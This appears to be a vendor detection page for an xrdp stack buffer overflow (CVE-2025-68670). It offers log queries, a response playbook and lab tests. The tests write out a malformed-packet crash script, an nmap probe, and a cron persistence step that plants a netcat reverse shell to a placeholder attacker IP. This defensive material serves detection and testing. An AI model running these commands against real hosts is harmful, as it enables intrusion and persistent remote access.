Detect xrdp Unauthenticated Stack Buffer Overflow via RDP Connection Sequence (CVE-2025-68670) in Sumo Logic CSE
CVE-2025-68670 is a critical unauthenticated stack buffer overflow (CWE-121) in xrdp versions prior to 0.10.5. During the RDP connection sequence, a remote unauthenticated attacker can send a specially crafted packet that overflows a stack buffer, potentially enabling remote code execution as the xrdp process user. CVSS 9.1. A public PoC exists. Patch to xrdp >= 0.10.5 immediately.
MITRE ATT&CK
- Tactic
- Initial Access Execution
Sumo Detection Query
_sourceCategory=linux/syslog OR _sourceCategory=linux/secure
| where _raw matches /xrdp/
| where _raw matches /(?i)(segfault|SIGSEGV|SIGABRT|overflow|core dumped|fatal|crash|stack smash)/ OR _sourcePort="3389" OR _destinationPort="3389"
| parse regex "(?<src_ip>\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})" nodrop
| if(isNull(src_ip), "unknown", src_ip) as src_ip
| count by _sourceHost, src_ip, _raw
| sort by _count descSumo Logic query identifying xrdp crash and error events alongside RDP port activity, enabling detection of CVE-2025-68670 exploitation attempts on Linux hosts.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate administrative RDP sessions
- xrdp errors from incompatible or misconfigured RDP clients
- Log collection gaps producing incomplete event sequences
- Scheduled xrdp service restarts during maintenance windows
Other platforms for CVE-2025-68670
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1xrdp Version Enumeration via RDP Banner Grab
Expected signal: Network connection event to port 3389 from scanning host; xrdp access log entry for the probe connection.
- Test 2Malformed RDP X.224 PDU Fuzzing (PoC Simulation)
Expected signal: xrdp crash log entry (SIGSEGV/SIGABRT/stack smashing detected) in /var/log/xrdp.log; core dump if ulimit -c unlimited is set; network connection event from test host to port 3389.
- Test 3Post-Exploitation Persistence Check (Simulated RCE Artifact)
Expected signal: Auditd events for crontab modification by xrdp user; file creation event in /tmp for .xrdp_persist; process execution telemetry showing crontab -r invoked by non-interactive xrdp session.
Response Playbook
Triage
- Identify all Linux hosts running xrdp with version < 0.10.5 using asset inventory or a package query (dpkg -l xrdp or rpm -qa xrdp). Prioritize internet-exposed hosts.
- Review /var/log/syslog, /var/log/xrdp.log, and /var/log/xrdp-sesman.log on potentially affected hosts for crash indicators: segfault, SIGSEGV, SIGABRT, stack smashing detected, core dumped within the alert window.
- Correlate the source IP(s) from alert with threat intel feeds. Check for prior scanning, known exploit infrastructure, or recent CVE-2025-68670 PoC activity.
- Determine if a core dump was written (check /var/crash or ulimit -c settings). If present, preserve immediately for forensic analysis — it may contain attacker shellcode.
- Check for any new or unexpected user accounts, SSH authorized_keys modifications, or cron entries added around the time of the xrdp crash — these are post-exploitation indicators.
Containment
- If exploitation is confirmed or highly suspected: immediately isolate the host from the network (block port 3389 inbound at the firewall/security group level, or power-isolate the VM). Do not power off if volatile memory collection is needed.
- Block the attacker source IP(s) at the perimeter firewall and update WAF/IDS rules to drop malformed RDP pre-authentication traffic from unknown sources. Apply emergency xrdp patch (upgrade to >= 0.10.5) on all remaining exposed hosts.
Evidence Collection
- Collect volatile memory image from affected host (LiME kernel module or equivalent) before any remediation. Prioritize if xrdp is still running — stack state may reveal payload.
- Capture full xrdp log files (/var/log/xrdp.log, /var/log/xrdp-sesman.log), any core dump files, /etc/passwd, /etc/shadow (hashes), ~/.ssh/authorized_keys for all users, crontab -l output, and the output of 'last', 'lastb', 'who', and 'ss -tlnp' at time of incident.
Escalation Criteria
- !Escalate to IR team immediately if: post-exploitation activity is observed (new accounts, backdoors, lateral movement, data exfiltration), or if more than one host shows concurrent exploitation indicators.
- !Escalate to CISO/leadership if the affected host is in a PCI, HIPAA, or SOC 2 scope environment, or if the attacker achieved confirmed RCE (evidence: reverse shell, unexpected outbound connections, dropped files in /tmp or /dev/shm).
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Core dump files in /var/crash, /tmp, or current working directory of xrdp process (check /proc/<pid>/cwd before process dies) - >
xrdp log entries showing abnormal disconnection, malformed packet handling, or crash stack traces in /var/log/xrdp.log - >
Network PCAP of pre-authentication RDP handshake from attacking IP (specifically the X.224 Connection Request PDU and Client MCS Connect Initial PDU sequence) - >
Filesystem modifications in /tmp, /dev/shm, or home directories around the time of the crash indicating dropped payloads - >
Audit log entries from auditd (if configured) for xrdp process file writes, execve calls, or socket operations post-crash
Tuning Guidance
This detection will generate noise in environments where xrdp is used heavily for legitimate remote administration. To reduce false positives: (1) Baseline normal xrdp crash frequency per host and alert only on deviations; (2) Restrict the detection to hosts where xrdp is known to be internet-exposed rather than LAN-only; (3) Add a source IP allowlist for known admin IP ranges to suppress benign RDP sessions; (4) After patching to xrdp >= 0.10.5, this alert should be retired or converted to a compliance check detecting unpatched xrdp instances.
Hunting Queries
Hunt for xrdp crash patterns across all Linux hosts over the past 7 days to identify hosts that may have been targeted or successfully exploited before alerting was in place.
Syslog
| where ProcessName has "xrdp"
| where TimeGenerated >= ago(7d)
| summarize crash_count=countif(SyslogMessage has_any ("segfault", "SIGSEGV", "SIGABRT", "core dumped", "stack smashing")),
error_count=countif(SyslogMessage has "error"),
total_events=count()
by Computer, bin(TimeGenerated, 1h)
| where crash_count > 0
| order by crash_count descindex=linux_logs sourcetype=syslog process=xrdp*
| eval crash=if(match(_raw, "(?i)(segfault|SIGSEGV|SIGABRT|core dumped|stack smashing)"), 1, 0)
| timechart span=1h sum(crash) as crashes by host
| where crashes > 0Atomic Red Team Tests
Enumerate the xrdp version on a target host to confirm whether it is running a vulnerable version (< 0.10.5) without sending exploit payload.
Command
nmap -sV -p 3389 --script rdp-enum-encryption <TARGET_IP> 2>/dev/null | grep -i 'xrdp\|version\|rdp'Cleanup
No cleanup required — read-only scan.Expected Telemetry
Network connection event to port 3389 from scanning host; xrdp access log entry for the probe connection.
Expected Detection
DeviceNetworkEvents or Syslog entry showing inbound RDP probe; may not trigger crash-based detection but confirms target identification phase.
Send an oversized/malformed X.224 Connection Request PDU to xrdp to trigger the stack buffer overflow condition in a lab environment. Requires xrdp < 0.10.5 on the target.
Command
python3 -c "
import socket, struct
# Oversized X.224 COTP Connection Request with padding to overflow stack buffer
rdp_neg = b'\x03\x00' + struct.pack('>H', 300) + b'\xe0\x00\x00\x00\x00\x00' + b'\x41' * 280
s = socket.socket()
s.connect(('<TARGET_IP>', 3389))
s.send(rdp_neg)
print('Sent malformed PDU, response:', s.recv(1024).hex())
s.close()
"Cleanup
Restart xrdp service on lab target: sudo systemctl restart xrdpExpected Telemetry
xrdp crash log entry (SIGSEGV/SIGABRT/stack smashing detected) in /var/log/xrdp.log; core dump if ulimit -c unlimited is set; network connection event from test host to port 3389.
Expected Detection
Sequence detection rule fires: inbound RDP connection followed by xrdp abnormal process termination within 2 minutes.
Simulate post-exploitation artifact creation that would follow a successful CVE-2025-68670 RCE — write a backdoor script and add a cron entry as the xrdp process user to test detection of persistence mechanisms.
Command
sudo -u xrdp bash -c 'echo "* * * * * /tmp/.xrdp_persist" | crontab -; echo "#!/bin/bash\nnc -e /bin/bash <ATTACKER_IP> 4444 &" > /tmp/.xrdp_persist; chmod +x /tmp/.xrdp_persist'Cleanup
sudo -u xrdp crontab -r; rm -f /tmp/.xrdp_persistExpected Telemetry
Auditd events for crontab modification by xrdp user; file creation event in /tmp for .xrdp_persist; process execution telemetry showing crontab -r invoked by non-interactive xrdp session.
Expected Detection
Anomaly detection on cron modification by service account (xrdp user) and suspicious file write to /tmp with execute permissions — escalation indicator in playbook triggered.